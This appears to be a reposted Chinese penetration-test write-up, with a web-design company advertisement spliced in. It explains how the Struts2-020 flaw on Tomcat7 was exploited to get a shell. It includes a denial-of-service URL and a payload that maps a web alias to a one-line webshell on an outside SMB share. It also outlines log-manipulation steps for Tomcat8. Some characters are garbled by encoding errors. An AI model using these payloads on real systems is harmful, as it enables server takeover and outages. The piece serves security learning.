這期內容當中小編將會給大家?guī)碛嘘P在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的,文章內容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
專注于為中小企業(yè)提供網(wǎng)站設計、網(wǎng)站制作服務,電腦端+手機端+微信端的三站合一,更高效的管理,為中小企業(yè)寬甸免費做網(wǎng)站提供優(yōu)質的服務。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動了千余家企業(yè)的穩(wěn)健成長,幫助中小企業(yè)通過網(wǎng)站建設實現(xiàn)規(guī)模擴充和轉變。
在一次給某甲方做模擬攻擊中發(fā)現(xiàn)某網(wǎng)站存在Struts2-020,但是中間件是tomcat7不能直接getshell。
Object是java的基礎類,所有的class生成的對象,都會繼承Object的所有屬性和方法,因此當前action無論是什么代碼,必須有Object自帶的getClass方法,這個方法會返回一個Class對象,Class對象又一定會有getClassLoader方法,最終在每個action都可以操控class。Struts2-020允許訪問直接映射到“getClass()”方法的“class”參數(shù) ,這可以被利用來操縱所使用的應用程序服務器的ClassLoader。簡而言之就是可以通過ClassLoader操控Tomcat的一些配置屬性,這個漏洞在Tomcat8下是可以getshell的。如下圖為tomcat8部分可控屬性。
Tomcat8如何getshell在網(wǎng)上一大堆這里就不演示了,大概步驟如下
1.更改Tomcat log為可執(zhí)行文件,更改log文件名,更改日志路徑至web目錄下
2.初始化日志文件
3.通過URL訪問,在日志中寫入一句話
4.菜刀連接一句話成功getshell
一開始以為struts2-010在tomcat下都能getshell,瘋狂操作下一直失敗,百度后才知道tomcat7無法操控日志屬性。只能重定向web目錄造成拒絕服務攻擊。
拒絕服務攻擊:
http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=”亂填就好”
但是只挖到一個拒絕服務攻擊無法向甲方交差呀,甲方交不了差,老板就不高興,老板不高興,我的績效考核危矣。拒絕服務攻擊更是不敢打,上次模擬攻擊把甲方服務打癱了,最后一個外包也離我而去了,難頂還是得頂。
無奈之下只能在本地搭建環(huán)境把所有可操控的屬性枚舉出來。
把一個個屬性試過去,看是否能利用的,挨個簡單更改屬性值后通過日志和變化來判斷,發(fā)現(xiàn)并不能getshell,當我正要放棄的時候腦子里飄過一個紅色的身影,親切地對我說沒有攻不破的系統(tǒng),只有不努力的黑客。瞬間斗志滿滿?。?!
谷歌作為技術人員的好朋友,碰到技術問題谷歌就對了,一頓搜索之后在一篇老毛子寫的文章中寫到class.classLoader.parent.resources.dirContext.aliases不僅僅可以任意文件讀取,文件路徑是支持UNC path的即smb路徑。這時候我就想既然支持SMB路徑,搞個文件共享時候能執(zhí)行命令?只要把文件共享設置為eve任何人可以訪問就可以讓網(wǎng)站讀取到可執(zhí)行文件,指不定就能執(zhí)行了?。。?/p>
搭建過程操作不難,在文件共享中放入一句話木馬,再把網(wǎng)站的別名路徑映射到SMB服務器。
Payload:
http://127.0.0.1:8080/struts2-blank/hello.action? class.classLoader.parent.resources.dirContext.aliases=\\192.168.1.1\muma.jsp
菜刀一連成功連接:
因為目標是在云環(huán)境上,眾所周知云環(huán)境大部分都是不對外開放445端口的。但是通過信息收集發(fā)現(xiàn)所在目標是在一個野雞云環(huán)境上,因為之前接觸過幾家野雞云服務器廠商,他們C段的445端口是互通的。我就在想這家廠商是否也存在這樣的配置漏洞?
本來想在C段擼下一臺服務器作為SMB服務器的,但是作為正義的白帽子怎么能做此等齷齪的事?只能把方案提出來,提交到上級申請經(jīng)費。最后以目標IP旁邊的某個IP數(shù)字吉利為由,通過客服以1.5倍的價格買下了目標相鄰的服務器,最終發(fā)現(xiàn)的確存在配置不當。C段的445端口可以相互訪問從而Getshell成功。
網(wǎng)站滲透很少有一個POC或者EXP直接打穿的,遇到難題多思考,多搜索。
上述就是小編為大家分享的在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。